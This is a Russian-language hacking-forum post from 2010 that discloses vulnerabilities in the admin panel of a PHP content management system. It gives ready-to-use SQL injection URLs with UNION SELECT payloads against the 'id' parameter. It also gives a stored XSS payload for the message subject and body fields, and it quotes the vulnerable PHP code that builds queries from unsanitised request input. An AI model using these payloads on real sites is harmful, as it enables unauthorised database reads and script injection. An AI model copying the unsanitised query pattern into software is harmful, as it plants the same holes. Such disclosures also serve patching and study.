Показать сообщение отдельно

  #4  
Старый 25.01.2010, 13:20
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме:
812087

Репутация: 129
По умолчанию

9)SQL-injection
Условия: Доступ в панель администрирования

Код:
http://host/manager/index.php?a=10&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*&m=r
Уязвимый код messages.static.action.php:
PHP код:
$sql "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];   
$rs mysql_query($sql);   
$limit mysql_num_rows($rs);  
 if(
$limit!=1
{     
echo 
"Wrong number of messages returned!";   

else 
{     
$message=mysql_fetch_assoc($rs);
     if(
$message['recipient']!=$_SESSION['internalKey']) 
{      
 echo 
$_lang['messages_not_allowed_to_read'];    
 } 
else 
{      
 
// output message!       // get the name of the sender  
 
$sender $message['sender'];
  if(
$sender==0
 {        
 
$sendername $_lang['messages_system_user'];
 } 
else 
{         
$sql "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender"
$rs2 mysql_query($sql);
$row2 mysql_fetch_assoc($rs2);
$sendername $row2['username'];

И еще одна в этом же файле:
Код:
http://host/manager/index.php?a=10&t=c&m=rp&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*
PHP код:
if(($_REQUEST['m']=='rp' || $_REQUEST['m']=='f') && isset($_REQUEST['id'])) 
{    
$sql "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];     
$rs mysql_query($sql);
$limit mysql_num_rows($rs);
if(
$limit!=1
{
 echo 
"Wrong number of messages returned!";
}
else 
{       
$message=mysql_fetch_assoc($rs);
if(
$message['recipient']!=$_SESSION['internalKey']) 
{         
echo 
$_lang['messages_not_allowed_to_read'];

else
{         
// output message!         // get the name of the sender        
$sender $message['sender'];
if(
$sender==0
{           
$sendername "[System]";

else 
{          
$sql "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender";
$rs2 mysql_query($sql);
$row2 mysql_fetch_assoc($rs2);
$sendername $row2['username'];
}         
$subjecttext $_REQUEST['m']=='rp' "Re: " "Fwd: ";         
$subjecttext .= $message['subject'];        
$messagetext "\n\n\n-----\n".$_lang['messages_from'].": $sendername\n".$_lang['messages_sent'].": ".strftime($date_format.' @ '.$time_format$message['postdate']+$server_offset_time)."\n".$_lang['messages_subject'].": ".$message['subject']."\n\n".$message['message'];
if(
$_REQUEST['m']=='rp'
{           
$recipientindex $message['sender'];         
}       
}     
}   

Одновременно с этими выдержками из кода ... значения переданные через id, должны не препятствовать истинности выполнить sql-запрос в следующем участке кода файла accesscontrol.inc.php:
PHP код:
$itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
$lasthittime time();
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;

if(
$a!=1) {
  
$sql "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' 'NULL' "'$itemid'").", '$ip')";
  if(!
$rs mysql_query($sql)) {
    echo 
"error replacing into active users! SQL: ".$sql;
    exit;
  }

9)Active XSS
Условия: Доступ в панель администрирования

Не фильтруемые поля "Subject" и "Message" при отправке сообщения вставляем
Код:
<script>alert('hello')</script>
Уязвимый код send_message.processor.php:
PHP код:
$sendto $_POST['sendto'];
 
$userid $_POST['user']; 
$groupid $_POST['group'];
 
$subject addslashes($_POST['messagesubject']); if($subject == ""$subject "(no subject)";
$message addslashes($_POST['messagebody']);
 if(
$message == ""$message "(no message)";
 
$postdate time();  
.............
$sql "INSERT INTO ".$db."user_messages SET     id = '',     type = 'Message',     subject = '$subject',     message = '$message',     sender = "$_SESSION['internalKey'].",     recipient = $userid,     private = 1,     postdate = $postdate,     messageread = 0;   ";   
$rs mysql_query($sql); 

Последний раз редактировалось [NiGHT]DarkAngel; 25.01.2010 в 16:14..
 
Ответить с цитированием